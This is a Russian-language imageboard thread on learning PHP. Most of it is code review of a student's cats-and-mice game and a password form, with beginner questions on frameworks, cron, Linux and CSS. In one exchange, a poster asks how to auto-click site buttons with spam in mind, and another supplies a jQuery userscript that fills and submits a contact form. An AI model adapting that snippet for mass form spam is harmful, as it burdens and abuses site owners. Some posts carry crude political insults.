> protected function getPossiblePaths($world)


Эта функция по моему не добавит ход «стоять на месте»

Также, у кошки должен меняться значок в зависимости от того, идет она или спит.

> https://github.com/never3ver/catsandmice/blob/master/classes/Mouse.php#L19


> $moveX;


Это что?

Я заметил, в коде makeMove в кошке и мышке много общего. Стоит наверно вынести общий код в Animal, только помни что животные могут использовать и другие алгоритмы выбора хода - не стоит делать испоьзование этой функции обазательным.

> https://github.com/never3ver/catsandmice/blob/master/classes/Mouse.php#L37


Уменьши объем кода, например используя массив и цикл. Добавь вариант стоять на месте, если надо.

> https://github.com/never3ver/catsandmice/blob/master/classes/Mouse.php#L80


Тут все смешано в кучу. Тяжело читать и понять алгоритм. Надо вынести каждый фактор (фактор кошек, фактор выходов из клетки) в отдельную переменную, и отдельно сделать формулу которая выводит оценку на основе этих факторов, чтобы был виден их вес:

rate = f1 x w1 + f2 x w2 + ... ;

Также, мне кажется учитывать налчичие угла отдельно не надо так как он учитывается проверкой числа выходов из клеточки.

И еще, там 5 уровней вложенности, уменьшай, например вынося часть в другие функции. Например поиск кошек - в класс World.

> https://github.com/never3ver/catsandmice/blob/master/classes/Mouse.php#L102


> x == $wx && $y == $wy


Это условие никогда не выполнится. Ты ошибся на 1 (очень популярная ошибка).

Также, этот if можно переписать с 8 сравнений на 4.

> https://github.com/never3ver/catsandmice/blob/master/classes/World.php#L6


> protected $x;


Для ширины лучше исопльзовать слово width.

> https://github.com/never3ver/catsandmice/blob/master/classes/World.php#L41


> $key = array_search($critter, $this->critters);


Тут ошибка. Почитай мануал по array-search а также про способы сравнения объектов: http://php.net/manual/ru/language.oop5.object-comparison.php

В 99% тебе нужно строгое сравнение.

> https://github.com/never3ver/catsandmice/blob/master/index.php#L30


Тут многовато <?php, сделал бы отдельным блоком или функцией.
https://github.com/never3ver/catsandmice/ #514 #564751
>>564353

https://github.com/never3ver/catsandmice/

> https://github.com/never3ver/catsandmice/blob/master/classes/Animal.php#L35


Я думаю, на практике нам нужно не ставить координаты по отдельности, а одним скачком переместить животное на новую клетку и логичнее сделать функцию которая принимает и задает и x, и y одновременно.

> protected $symbol;


Я думаю, это поле не нужно если мы можем вызвать функцию getSymbol и получить значение из нее.

Еще мне кажется, если функция «сделать ход» обязательная для всех жвиотных, надо объявить ее абстрактной, чтобы тот кто наследует класс, не забыл ее реализовать.

> https://github.com/never3ver/catsandmice/blob/master/classes/Cat.php#L10


> return 9000;


Не очень красиво. А ведь в PHP еще есть константа INF, соответствующая бесконечности: http://php.net/manual/ru/math.constants.php

Только учти что с ней могут математические операции не работать, например if (INF == $x) может не работать и надо проверять ее специальной функцией is_infinite().

> https://github.com/never3ver/catsandmice/blob/master/classes/Cat.php#L18


> public function makeMove($world)


Я думаю, незачем передавать world каждый ход, нужно внедрять его в животное при добавлении его на карту. То есть когда ты вызваешь $world->add(), он может в животное внедрять ссылку на себя. А при удалении с карты - удалять.

А то некрасиво, ты этот World вынужден в каждую функцию передавать.

> https://github.com/never3ver/catsandmice/blob/master/classes/Cat.php#L84


> if ($x < 0 || $y < 0 || $x > $world->getX() || $y > $world->getY()) {


Это наверно будет красивее сделать функцией $world->isWithinBounds(x, y). Тогда например мы можем делать миры произвольной формы, не только прямоугольные. Ну и вообще, незачем кошке знать о форме мира.

> https://github.com/never3ver/catsandmice/blob/master/classes/Cat.php#L87


> foreach ($world->getCritters() as $critter) {


> if ($x == $critter->getX()


Это тоже правильнее сделать в World, функцию которая возвращает что находится на данной клеточке. Незачем ее тащить в животное.

Также тебе наверно пригодится функция, возвращающая всех животных типа X в радиусе R.

> https://github.com/never3ver/catsandmice/blob/master/classes/Cat.php#L23


> if ($this->sleepCounter == 8) {


В таких неочевидных ситуациях стоит ставить комментарий, также стоит это перенести в самое начало функции, зачем что-то делать если мы спим?

> https://github.com/never3ver/catsandmice/blob/master/classes/Cat.php#L28


> $rate = 9000;


Ненадежно, надо либо INF либо брать за начальное значение $rate оценку первого варианта хода.

Также, нет ли проблем если будет всего 1 вариант хода?

> $path[0];


Лучше бы $path['x'] наверно.

Проверять есть ли на клетке мышка надо до хода на нее, а то у нас на мгновение на клетке находится 2 животных, как бы багов не было.

Также, ты находишь минимальное значение (например расстояние до мыши) церез цикл + if. Но обрати внимние, что его можно находить немного проще, создав массив значений и взяв min() от него.

> protected function getPossiblePaths($world)


Эта функция по моему не добавит ход «стоять на месте»

Также, у кошки должен меняться значок в зависимости от того, идет она или спит.

> https://github.com/never3ver/catsandmice/blob/master/classes/Mouse.php#L19


> $moveX;


Это что?

Я заметил, в коде makeMove в кошке и мышке много общего. Стоит наверно вынести общий код в Animal, только помни что животные могут использовать и другие алгоритмы выбора хода - не стоит делать испоьзование этой функции обазательным.

> https://github.com/never3ver/catsandmice/blob/master/classes/Mouse.php#L37


Уменьши объем кода, например используя массив и цикл. Добавь вариант стоять на месте, если надо.

> https://github.com/never3ver/catsandmice/blob/master/classes/Mouse.php#L80


Тут все смешано в кучу. Тяжело читать и понять алгоритм. Надо вынести каждый фактор (фактор кошек, фактор выходов из клетки) в отдельную переменную, и отдельно сделать формулу которая выводит оценку на основе этих факторов, чтобы был виден их вес:

rate = f1 x w1 + f2 x w2 + ... ;

Также, мне кажется учитывать налчичие угла отдельно не надо так как он учитывается проверкой числа выходов из клеточки.

И еще, там 5 уровней вложенности, уменьшай, например вынося часть в другие функции. Например поиск кошек - в класс World.

> https://github.com/never3ver/catsandmice/blob/master/classes/Mouse.php#L102


> x == $wx && $y == $wy


Это условие никогда не выполнится. Ты ошибся на 1 (очень популярная ошибка).

Также, этот if можно переписать с 8 сравнений на 4.

> https://github.com/never3ver/catsandmice/blob/master/classes/World.php#L6


> protected $x;


Для ширины лучше исопльзовать слово width.

> https://github.com/never3ver/catsandmice/blob/master/classes/World.php#L41


> $key = array_search($critter, $this->critters);


Тут ошибка. Почитай мануал по array-search а также про способы сравнения объектов: http://php.net/manual/ru/language.oop5.object-comparison.php

В 99% тебе нужно строгое сравнение.

> https://github.com/never3ver/catsandmice/blob/master/index.php#L30


Тут многовато <?php, сделал бы отдельным блоком или функцией.
#515 #564752
>>564542

> Я в эти переменные POST-данные записал, поэтому так.


но ты копипастишь постоянно эти скобки. Надо просто сделать переменные типа $userData, $passData а не копипастить по 3 пары скобок.

>> - 5 уровней вложенности кода


>> - длинная простыня кода


> А как в данном случае можно сделать иначе?


разбить большую функцию на маленькие. Ну например вложенность ифов решается их переворачианием:

Было if (..) { 100500 строк }
Стало if (!..) { return X; } ... код ...

> Внизу через свитч кодам отдаются комментарии об ошибке/успехе операции. Можно как-то сделать лучше?


В коде не должно быть магических чисел. Все коды должны быть константами в каком-то классе (можно отдельно для этого и сделать, можно где-то в модели или валидаторе).

Числа это ад. Как понять что значит число? Как понять какие варианты чисел возможны? Как найти все использования числа в коде? Те кто так пишет производят неподдерживаемый код.

Сообщения тоже не должны быть тут, надо сделать где-то метод который по коду вернет текст сообщения.

Более того, в твоем случае коды не нужны. Ты искуственно усложнил протокол обмена. Вот как можно сделать:

успех: { "success": true, "message": ... }
неуспех: { "success": false, "field": old_password", "message": "Please enter ..." }

То есть мы при ошибке посылаем имя поля (которое можно подсветить) и суть ошибки. Зачем вводить коды без которых можно обойтись? Зачем тебе эти коды?

Ну вообще, посмотри на код на скриншоте. ЧТо он делает полезного? Ничего. Всю работу делают функции getPassword/setPassword, а 20 строк кода вокруг них просто переставляет местами элементы в массиве. Значит почти от всего этого бесполезного кода можно избавиться.

Ну и isset(переменная) это бред какой-то. Вот ты ее 2 строки выше создал, зачем проверять есть ли она или нет?

Ну и логику надо бы выносить в сервис. Ты даешь методу 3 пароля, он вернет ОК или ошибка.

В default надо не рисовать смайлик, а бросать исключение иначе программист никогда не узнает об ошибке.

>> - трехэтажные массивы в POST


> Как иначе-то можно делать? Делать класс с геттерами/сеттерами?


Ну ты бы мог в форме смены пароля использовать 1уровневый массив. Типа $_POST['old_password'].

Что это за ужас, $user['user']['data']['password']? Ты зачем слово user по 2 раза пишешь? И зачем слово 'data' которое вообще ничего не значит? Откуда у тебя массивы такой сложности? Почему это не объект класса User, представляющий 1 пользователя?

Ну и в фреймворках (например Юи 2) обычно есть базовый класс для форм, ты только описываешь какие есть поля и правила вадидации, и они читаются и проверяются. А ты вместо автоматизации все делаешь руками.

> $Users теперь уже $User - это экземпляр класса.


Нет неправильно, пишутся имена классов а не переменных. $User это не класс.

Алсо я подозреваю что у тебя и класс $user какой-то неправильный. Это ведь не объект представляющий юзера, а что-то вроде шлюза к базе данных? Тогда надо его и назвать соответственно.

Алсо для идентифиакции пользователя удобнее использовать id, а не имя.

> Солятся, всё нормально.


Я не вижу в коде, мне кажется ты ошибаешься и никакой соли тут нет. Код выглядит как код без соленых хешей. Потому что соль у каждого пользоателя своя.

> Выбрал его, потому что на изучение всяких Yii/Laravel нет времени,


То есть не хочу учиться, хочу жениться. Не умея писать код, хочу делать сайты.

>>564606

Ок, выглядит верно.

>>564637

Оба надо изучать. Тем более в кризис.

>>564653

Ну Слим быстро освоить, с Юи 2 придется помучаться, а Симфони 2 это хардкор. Быстрее начнешь - быстрее закончишь.

>>564697

Это не переменная, а статическое поле класса. Почитай про статические поля и методы.

> Если в пхп коде создать бесконечное число файлов в папке System32 в бесконечном цикле и повесить на хост, то у перешедшего по ссылке сожрется память и повиснет комп?


На сервере закончится число свободных inode и произойдет ошибка. PHP выполняется на сервере. Но анон выше лучше написал.
#515 #564752
>>564542

> Я в эти переменные POST-данные записал, поэтому так.


но ты копипастишь постоянно эти скобки. Надо просто сделать переменные типа $userData, $passData а не копипастить по 3 пары скобок.

>> - 5 уровней вложенности кода


>> - длинная простыня кода


> А как в данном случае можно сделать иначе?


разбить большую функцию на маленькие. Ну например вложенность ифов решается их переворачианием:

Было if (..) { 100500 строк }
Стало if (!..) { return X; } ... код ...

> Внизу через свитч кодам отдаются комментарии об ошибке/успехе операции. Можно как-то сделать лучше?


В коде не должно быть магических чисел. Все коды должны быть константами в каком-то классе (можно отдельно для этого и сделать, можно где-то в модели или валидаторе).

Числа это ад. Как понять что значит число? Как понять какие варианты чисел возможны? Как найти все использования числа в коде? Те кто так пишет производят неподдерживаемый код.

Сообщения тоже не должны быть тут, надо сделать где-то метод который по коду вернет текст сообщения.

Более того, в твоем случае коды не нужны. Ты искуственно усложнил протокол обмена. Вот как можно сделать:

успех: { "success": true, "message": ... }
неуспех: { "success": false, "field": old_password", "message": "Please enter ..." }

То есть мы при ошибке посылаем имя поля (которое можно подсветить) и суть ошибки. Зачем вводить коды без которых можно обойтись? Зачем тебе эти коды?

Ну вообще, посмотри на код на скриншоте. ЧТо он делает полезного? Ничего. Всю работу делают функции getPassword/setPassword, а 20 строк кода вокруг них просто переставляет местами элементы в массиве. Значит почти от всего этого бесполезного кода можно избавиться.

Ну и isset(переменная) это бред какой-то. Вот ты ее 2 строки выше создал, зачем проверять есть ли она или нет?

Ну и логику надо бы выносить в сервис. Ты даешь методу 3 пароля, он вернет ОК или ошибка.

В default надо не рисовать смайлик, а бросать исключение иначе программист никогда не узнает об ошибке.

>> - трехэтажные массивы в POST


> Как иначе-то можно делать? Делать класс с геттерами/сеттерами?


Ну ты бы мог в форме смены пароля использовать 1уровневый массив. Типа $_POST['old_password'].

Что это за ужас, $user['user']['data']['password']? Ты зачем слово user по 2 раза пишешь? И зачем слово 'data' которое вообще ничего не значит? Откуда у тебя массивы такой сложности? Почему это не объект класса User, представляющий 1 пользователя?

Ну и в фреймворках (например Юи 2) обычно есть базовый класс для форм, ты только описываешь какие есть поля и правила вадидации, и они читаются и проверяются. А ты вместо автоматизации все делаешь руками.

> $Users теперь уже $User - это экземпляр класса.


Нет неправильно, пишутся имена классов а не переменных. $User это не класс.

Алсо я подозреваю что у тебя и класс $user какой-то неправильный. Это ведь не объект представляющий юзера, а что-то вроде шлюза к базе данных? Тогда надо его и назвать соответственно.

Алсо для идентифиакции пользователя удобнее использовать id, а не имя.

> Солятся, всё нормально.


Я не вижу в коде, мне кажется ты ошибаешься и никакой соли тут нет. Код выглядит как код без соленых хешей. Потому что соль у каждого пользоателя своя.

> Выбрал его, потому что на изучение всяких Yii/Laravel нет времени,


То есть не хочу учиться, хочу жениться. Не умея писать код, хочу делать сайты.

>>564606

Ок, выглядит верно.

>>564637

Оба надо изучать. Тем более в кризис.

>>564653

Ну Слим быстро освоить, с Юи 2 придется помучаться, а Симфони 2 это хардкор. Быстрее начнешь - быстрее закончишь.

>>564697

Это не переменная, а статическое поле класса. Почитай про статические поля и методы.

> Если в пхп коде создать бесконечное число файлов в папке System32 в бесконечном цикле и повесить на хост, то у перешедшего по ссылке сожрется память и повиснет комп?


На сервере закончится число свободных inode и произойдет ошибка. PHP выполняется на сервере. Но анон выше лучше написал.
#516 #564753
ОП-злодей пропустил твой пост и не ответил? Напомни о себе.
#517 #564756
Совсем новичок в теме. Я вывел цикл таким образом
$query=$mysqli->query('SELECT * FROM movie');
\twhile ($row=mysqli_fetch_assoc($query)) {
\t\techo $row['name'];}
Как передать конкретный элемент в следующий запрос? То есть я делаю $row['name'], высвечивается множество элементов, под каждым кнопка "открыть подробнее", как сделать, чтоб открывался этот элемент? Извиняюсь, если криво. В гугле не могу найти такого.
#518 #564761
>>564756

С массивами умеешь работать? Сложи все в массив и делай с ним что хочешь.

Алсо твой код ужасная лапша, срочно переучивайся, нельзя echo с выборкой из БД смешивать.
124 Кб, 348x122
#519 #564764
>>564752

> Что это за ужас, $user['user']['data']['password']? Ты зачем слово user по 2 раза пишешь? И зачем слово 'data' которое вообще ничего не значит? Откуда у тебя массивы такой сложности?


Этот массив потом передается в шаблонизатор, и данные выводятся через <?=$data['user']['wallet']?>, например. Как это можно оптимизировать?

С остальным, кажется, всё понял, сейчас буду исправлять.
#520 #564765
>>564761

>>нельзя echo с выборкой из БД смешивать.


А как надо?
Дело в том, что у меня на страницу уже выведены элементы массива $row, теперь мне надо передать каким-то образом значение конкретного элемента
#521 #564770
>>564764

1) сделать класс-модель пользователя
2) передавать в шаблонизатор не гигантский массив, а переменные по отдельности
3) даже если твой ненормальный шаблонизатор принимает гигантский массив, внутри контроллера ты модешь испльзовать нормальные переменные а массив делать только перед вызовом шаблона

>>564765

Выносить HTML код в отдельные файлы: http://www.phpinfo.su/articles/practice/shablony_v_php.html
#522 #564773
>>564770
С этим разберусь, спасибо большое.
Относительно выборки массива, как должно выглядеть -
$query=$mysqli->query('SELECT * FROM movie');
\twhile ($row=mysqli_fetch_assoc($query)) {
\t\techo $row['name'];
Тут выводим модальное окно, в котором должен находиться текущий элемент массива $row. В какую сторону копать?
#524 #564867
>>564205
В первой итерации цикла в переменной $b чему будет равно $i?
$i будет равно -0, разве есть такое число?
#525 #564872
Фу, блин, меня от самого факта этих цмс тошнит. У них еще и хосты свои, это надо лезть на их хост, региться там, прикручивать их отдельным модулем к хампу, выделять под них место в БД на локалке.
Ебись конем эти цмс, я лучше сам напишу админку на бутстрапе и буду пихать ее в каждый тырнет-магаз.
#526 #564874
>>564872
И будешь получать кучу гневных отзывов о том, что твоих заказчиков взломали.
#527 #564875
Алсо, что если использовать UnitOfWork паттерн в файлообменнике, там как раз функция апдейта записи есть в зависимости от айдихи.
#528 #564877
>>564874
Я буду делать по всем правилам ОПа, чтобы не взломали.
#529 #564881
>>564877
Всё не так просто.
Вон ворпрессу, например, уже больше 10 лет. Почти 15.
А его до сих пор всё взламывают и взламывают.
#530 #564884
>>564881

> ворпрессу


вордпрессу
sf
#531 #564954
>>564881
тем более, без разницы.
1130 Кб, 3438x1788
#532 #565087
Антоши, как сделать, чтобы сервак на PHP запускал некоторую функцию раз в час, например?
#533 #565092
#534 #565099
>>565092
А можно подробнее или пример?
#536 #565110
>>565100
Окей, а "нулевой" шаг как сделать? Вот, у меня есть хост и доступ к папкам, дальше что?
#537 #565116
>>565110
Панель управления есть? Или ты у себя на пеке хостишься?
Какой у тебя доступ к серверу?
36 Кб, 363x375
#538 #565117
>>565110
LFS собери, пиздец бля.
#539 #565121
>>565116
Панель есть - хостинг Mchost, но там не могу найти нужное, самое близкое, что есть - "планировщик", но насколько я понял, там можно только однократное действие задать.
73 Кб, 790x494
#540 #565130
ОП, а что скажешь насчет линукса?
Часто в вакансиях вижу знание линукса. На деле оно вообще требуется? Я просто не могу понять зачем. Типа раз линукс бесплатный, а винда платная, то так можно детектить дноконторки которые не могут себе позволить лицензию винды на компы в офисе поставить?
Вообще пока ставил на новую пеку божественную 8.1 без сарказма, она мне нравится подумал, а почему бы линукс не попробовать, но как-то передумал.
Или я вообще не о том думаю и знание линукса это не одно и то же что умение им пользоваться, а знание его кода или т.д.?
#541 #565131
>>565130
Петух, ты разделом ошибся.
#542 #565229
>>565121
Вот это оно и есть, кажется.
Кинь скрин.
#543 #565232
>>565130
С виндой тебе только на аспеговне всю жизнь писать суждено.
#545 #565297
>>565243
Да, это оно.
#546 #565355
https://gist.github.com/codedokode/ce30e7a036f18f416ae0

Задача 5 по JS.
Какие темы нужно прочитать чтобы ее решить? А то я даже начать не могу, больше часа сидел, велосипеды строил, в итоге не один не поехал. Непонятно, например, через что сделать рандомное количество аргументов у функции. Это делается через какой-нибудь массив?

Так же сделал задачи 7 и 10, но там претензий к проверяльщику нету, код короткий, а вот в задачах 8 и 9 может я чего-то не учел.

Задача 8
https://ideone.com/lbvcRW

Задача 9
https://ideone.com/U28j6S
#547 #565382
Так чо как жаваскриптом найти инпут и жмакнуть кнопку? сайт надо парсить?
#548 #565383
>>565232
А под линукс какие библиотеки?
#549 #565405
>>565130

А на какой операционной системе по твоему работает большинство веб-приложений в интернете? Этот форум на какой ОС работает?

Знание линукса конечно нужно. Ну уровне «уметь выполнить команду в командной строке», «добавить задачу в крон», что анон выше не мог сделать, запустить долгоработающий скрипт в командной строке, добавить его в автозапуск, посмотреть логи.

Также командная строка позволяет тебе делать разные полезные вещи, например имея лог, выделить URL которые чаще всего дают ошибки 404.

Соответственно нужно знать командную строку, bash сотоварищи (cat, tail, less), файловую систему и права, итд.

Некторые инструменты лучше работают под линуксом, например докер.

Для начала держи гайд по установке дебиана в виртуалбокс + основы командной строки: https://gist.github.com/codedokode/420c8c12a1edae25f0ec

Можешь начинать изучать, а потом попроси, я тебе задачек придумаю, которые решаются в командной строке.

> знание линукса это не одно и то же что умение им пользоваться, а знание его кода


Нет, надо уметь пользоваться.

> Типа раз линукс бесплатный, а винда платная,


Это смешно, винда стоит 200 долларов по моему, если компания не может ее купить то она наверно и зарплату тебе платить полностью не сможет.

>>565131

нет ты
#550 #565406
>>565355

> Задача 5 по JS.


> Какие темы нужно прочитать чтобы ее решить?


arguments, fn.call(), fn.apply() + работа с массивами

>>565382

Судя по вопросу, тебе для начала надо разобраться как вообще работают сайты, что такое протокол HTTP, JS, DOM а потом уже браться за твою задачу.
#551 #565424
КАК МНЕ СКРИПТОМ НАЖАТЬ КНОПКУ НА САЙТЕ ??
#552 #565426
А если виртуалку на линуксе сделать, то сборки типа хампа, апач и сокл устанавливать не придется что ли? прямо сразу пхп читает?
#553 #565428
>>565406ю

> Судя по вопросу, тебе для начала надо разобраться как вообще работают сайты, что такое протокол HTTP, JS, DOM а потом уже браться за твою задачу.


Зачем ему это, если это, допустим, одноразовая задача?
#554 #565429
>>565382
Попробуй расширение для браузера iMacros. Может быть подойдет.
#555 #565432
Вот. Еще вопрос: как вы админку берете из вп или жумолы, там же все равно нужно добавлять поля, выбор каталога для товаров, раздела, добавление раздела. Т.е. фиксить дохрена придется, а учитывая, что это чужое нагромождение децентрализованных функций... по времени каждый разбор и фикс дохрена выйдет, если это вообще возможно.
#556 #565434
>>565432
Никто так не делает. Отбитые мазохисты, разве что.
#557 #565438
>>565426

там установка Апача, PHP и MySQL делается одной командой. Ну настроить конфиг конечно может еще понадобится.

>>565428

Я не собираюсь решать его задачу за него. Значит, ему надо решать ее самому. А для этого придется изучить все что я написал.

>>565432

Вордпресс и каталог товаров? Ты ничего не путаешь? Вордпресс это движок для создания блога. Джумла для простого сайта со статьями.
#558 #565444
>>565438

> Я не собираюсь решать его задачу за него. Значит, ему надо решать ее самому. А для этого придется изучить все что я написал.


Вовсе нет. Всё, что ему нужно - пару Jquery-функций и знания CSS-селекторов.
#559 #565447
>>565438
Ааа, так по тырнет магаз надо все же свою админку писать? Просто видел уже магаз с привинченной от какой-то цмс админкой. Да и говорят же, что "много готового есть". Везде именно требование везде эти разделы добавлять и делить на них товары.
#560 #565448
Как вообще можно написать админку с добавлением целых разделов? Под каждый раздел же нужна своя таблица в бд, не? Или просто использовать колонку с айди и каждому разделу - свой айди?
#561 #565449
>>565447
Opencart, Prestashop, Woocommerce (если хорошо дружишь с ВП и не хочешь переучиваться)
#562 #565450
>>565444
так че надо спарсить страницу, найти на ней тэг button, а че там за функция в jquery, которая сама кнопки нажимает? Дописать в тэг active? че телитесь-то, будто спам на страницы никогда не слали.
#563 #565453
>>565450

О! В нашем треде нельзя обсуждать вредоносные программы и средства для отправки спама. Иди в какой-нибудь другой тред, а мы все белые и пушистые.
#564 #565462
>>565450
Тебе куда проще, мне кажется, записать в iMacros свои действия, а потом воспроизвести, чем юзерскрипт писать.
#565 #565521
>>564641
Это я протупил, не указал limit в sql выражении.
Другой вопрос: как почистить rt-индексы?
delete from table не работает в sphinxql, нужно указывать where
Я могу конечно пойти на хитрость и выставить where id > 0 например, но наверное есть более правильный способ с очисткой таблицы, а не построчным удалением.

Нагуглил еще truncate rtindex ix_name, но почему-то выдает ошибку
mysql> truncate rtindex rt_ad;
ERROR 1064 (42000): sphinxql: syntax error, unexpected IDENT, expecting ATTACH (or 17 other tokens) near 'truncate rtindex rt_ad'
Или напрямую удалять файлы индексов?

А, truncate добавлен только в версии 2.2.2. У меня почему-то 2.0.4.
Надо обновиться.
#566 #565551
Вот тут говорят, что загрузить убунту можно из командной строки под винду, это правда?
http://www.youtube.com/watch?v=OmMkAGuZxCE
#567 #565559
>>565453
>>565462
мне просто интересно, как это работает и на чем делается.
someApprentice #568 #565563
>>556079

>Наконец одного фактора маловато. Предлагаю взять три, с разными весами (то есть некоторые факторы вносят больший вклад в сумму):



>- расстояние до ближайшей кошки в ходах


>- число выходов с клетки (клетка в углу хуже клетки в центре)


>- сумма обратных расстояний (оценивает число и дальность до кошек)


ОПчик, я тут думал как это все организовать в одно дело. Я очень запутался. Мне кажется, что сумма обратных расстояний всегда будет больше чем расстояние от ближайшей кошки, но ты говоришь что расстояние от ближайшей кошки должна быть приоритетней. Я подумал что это можно решить поделив обратное расстояние от всех кошек на какое-нибудь дробное число, чтобы оно вносило меньший вклад, но не уверен что так будет правильно.
Еще я не уверен что такой же способ будет хорош для ходов с ограниченным числом выходов.

Просто дай мне совет! Хочу писать код!
#569 #565565
Как можно перебрать все варианты путей?
http://ideone.com/B2v34m
#570 #565568
>>564745

>Но она умеет ходить по диагонали и потому ей надо меньше ходов.


Вот я это не могу понять как посчитать.

Все, насчет абстрактного метода getSymbol все понял. Спасибо.
#571 #565576
>>565559
Ну тогда..
Есть такая штука, как юзерскрипты. Есть расширения для их менеджмента для всех популярных браузеров. В хроме, например, это TamperMonkey.
Общий алгоритм юзерскрипта такой:
- Создание юзерскрипта в менеджере
- Указание сайтов, где нужно подключать этот скрипт. Опционально можно подключить jquery или любые другие либы/стили. Если ты ньюфаг в жс, тебе с jquery будет намного быстрее
- Написание скрипта

Сам скрипт с использованием jquery для заполнения и отправки формы будет очень простым. Что-то вроде:

// Пишем имя пользователя в инпут с атрибутом name равным username
$('form.contact > input[name=username]').val('Abu');
// Пишем сообщение в поле ввода текста с атрибутом name равным message
$('form.contact > textarea[name=message]').val('Privet');
// Отправляем форму
$('#submit-btn-id').click();

На разных сайтах атрибуты name для формы/ id для кнопок подтверждения разные. Их можно узнать через инспектор Ctrl + Shift + i в хроме/фф.
#572 #565586
>>565565
Через вложенный foreach?
#573 #565617
>>565586
Не понимаю как и где это использовать.
#574 #565685
Немного оффтоп, но нужной темы не нашел: посоветуйте какую-нибудь цмс или типа того чтобы сделать простой одностроничный сайт с несколькими формами для отправки на почту заказчику писем разного содержания. И чтобы заказчик сам мог менять названия ссылок на эти формы + шаблон, которым эти формы уже заполненны. Жутко лень что-либо самому писать, хочется чтобы раз-два и готово, а я в этих ваших цмс особо не разбирался.
#576 #565697
>>565693
Слава Украине!
Спасибо, посмотрю
#577 #565699
>>565697
Действительно годная штука, все ленды на ней делаем.
#578 #565701
>>565699
Ну а срьезно, есть что-нибудь нормальное и удобное?
#579 #565702
>>565701
Но ведь я серьезно. Чего тебе там не хватает?
#580 #565706
>>565702
Если заказчик узнает на что он подписался, используя это, он не будет доволен.
#581 #565708
>>565706
Так не рассказывай ему.
#582 #565713
>>565708
Да блять, не собираюсь я доверять свой сайт какой-то бандэро-фашистской цмс, мало ли, они узнают что я из России и нарисуют хуй на сайте.
#583 #565714
>>565713
Ты же согласился, что путин хуйло при скачивании. Они твоему заказчику наоборот ещё бесплатную пожизненную поддержку осуществлять будут.
36 Кб, 1366x768
#584 #565718
OP, делаю 9 задание. Пока в процессе. Два вопроса:
1) Почему не срабатывают мои псевдоклассы first-child?
2) Как устранить вываливание float из родителя без overflow, position, и float(у меня пока так и сделано) на родителе?
3) Что за clearfix и что он там фиксит? Тут в статье не написано http://webknowledge.ru/novaya-mikro-versiya-haka-clearfix/ , из кода конечно ничего не понять, ибо опять хаки в духе А ВОТ ТАК В IE РАБОТАЕТ, Я ТУТ ПОЧИТАЛ СПЕЦИФИКАЦИЮ И ПОТЫКАЛСЯ, ПРИ СОЧИТАНИИ ВОТ ЭТОГО СВОЙСТВА...
#585 #565719
#586 #565727
>>565685
Бамп во славу путина
#587 #565742
>>565718

А ты читал рекомендованную статью про флоаты на softwaremaniacs? Надо прочитать (ну или любую другую аналогичную).

Вот допустим у тебя есть такой код: http://jsfiddle.net/651kdyx7/1/

Как видишь тут зеленый блок «аватарка» вываливается из родителя с красной рамкой. Нехорошо. Как бы ты это исправил, как сделать чтобы рамка охватывала этот блок тоже?

Попробуй предложить решение.

overflow не годится так как он обрезает выступающие части и вообще костыль.

> ибо опять хаки в духе А ВОТ ТАК В IE РАБОТАЕТ, Я ТУТ ПОЧИТАЛ СПЕЦИФИКАЦИЮ И ПОТЫКАЛСЯ, ПРИ СОЧИТАНИИ ВОТ ЭТОГО СВОЙСТВА...


То что там про ИЕ6 уже неактуально и можно не читать. А вот то что про стандарты - актуально.
#588 #565744
>>565718

> 1) Почему не срабатывают мои псевдоклассы first-child?


Потому что first-child должен быть первым ребенком у родителя. А у тебя первый ребенок это div.banner

То что тебе могло бы помочь это CSS3 свойство

https://developer.mozilla.org/en-US/docs/Web/CSS/%3Afirst-of-type (англ)
http://htmlbook.ru/css/first-of-type

который находит всех первых детей каждого типа (то есть первый h1, первый p и тд)

> 2) Как устранить вываливание float из родителя без overflow, position, и float(у меня пока так и сделано) на родителе?


Посмотри на пример с зелены блоком выше и предложи один или больше вариантов, исходя из своих знаний CSS. А я прокомментирую.

> 3) Что за clearfix и что он там фиксит?


Сначала надо решить проблему с зеленым блоком.
#589 #565837
Антош, поясни пожалуйста. В задаче про файловый хостинг нужно юзать slim. Правильно ли я понял, что его нужно юзать чисто для роутинга конкретно в этой задаче?
#590 #566050
Что если использовать Update Factory для апдецта паттернов.
#591 #566127
>>565576
интересно, а без менеджера под браузер никак?
#592 #566143
Добрый день. Что можете сказать про Laravel? В инете много и восторженных статей и совсем наоборот, и с чего начать ознакомление с ним помимо оф.документации?
#593 #566154
>>566143
Здравствуйте!
Laravel достаточно хороший, но малопопулярный в нашей стране фреймворк, поэтому предпочтительнее yii2. Убедиться в этом Вы можете, просмотрев вакансии на hh.ru.
Помимо документации можно поискать в гугле статьи на хабрахабре и уроки в блогах веб-разработчиков, или посмотреть какой-нибудь видеокурс lynda.com, pluralsight или tuts+ (на англ.)
#594 #566219
>>566127
Без него гораздо сложнее, лучше с ним.
#595 #566249
Раз у пхп динамическая типизация, это значит что после каждого запроса код интерпретируется?
Это же много времени занимает, что критично наверное на больших сайтах, где нужно тысячи запросов одновременно обрабатывать и каждый из них интерпретировать. Но, например, тот же фейсбук написан на пхп как он с этим справляется?
Я хуй с горы, мне просто интересно знать
#596 #566262
>>566249
opcache
#597 #566264
>>566154
А по yii2 есть какой-нибудь жирный гайд для первого взгляда?
#598 #566265
>>566249

Код скрипта компилируется в байт-код, который интерпретируется. Кажется что это сложно, но на деле небольшого размера скрипт компилируется очень быстро (можешь померять, делая N раз eval текста скрипта и меряя время).

Однако многократной перекомпиляции при каждом запросе можно избежать, установив оп кешер. С версии 5.5 он включен в состав PHP. Тогда скрипт компилируется только первый раз, а при повторонм вызове его байт-код берется из кеша в памяти.

Можно даже отключить обращение к диску, чтобы PHP не тратил время на проверку существования и дату модификации файла скрипта.
#599 #566266
>>566219
Я именно хочу узнать, как без него. скажи хоть в какую сторону копать, жавакскрипт?
#600 #566268
Плейсхолдеры оказывается нельзя использовать несколько раз в одном запросе.
WHERE title LIKE :word OR description LIKE :word
bindValue(':word', $word);
жалуется на invalid parameter number
Пришлось проставить :word1 и :word2
#601 #566282
>>566266
Ну да, жаваскрипт. На клиенте других языков и нет.
Если хочешь без менеджеров - придется оформлять свой скрипт как расширение. Для каждого браузера своя инструкция.
Это достаточно муторно и нерационально для такого простого скрипта.
Лучше использовать менеджеры, которые предоставляют универсальное апи для всех браузеров.
#602 #566293
Я и не знал, а разработчики рельс оказывается активно применяют принципы быдлокодинга:

http://m.habrahabr.ru/company/Voximplant/blog/269467/
https://github.com/rails/rails/blob/master/activesupport/lib/active_support/core_ext/object/to_query.rb

Они из рельс патчат сторонние классы. Ну не дауны ли?
111 Кб, 1449x1448
#603 #566473
>>565744

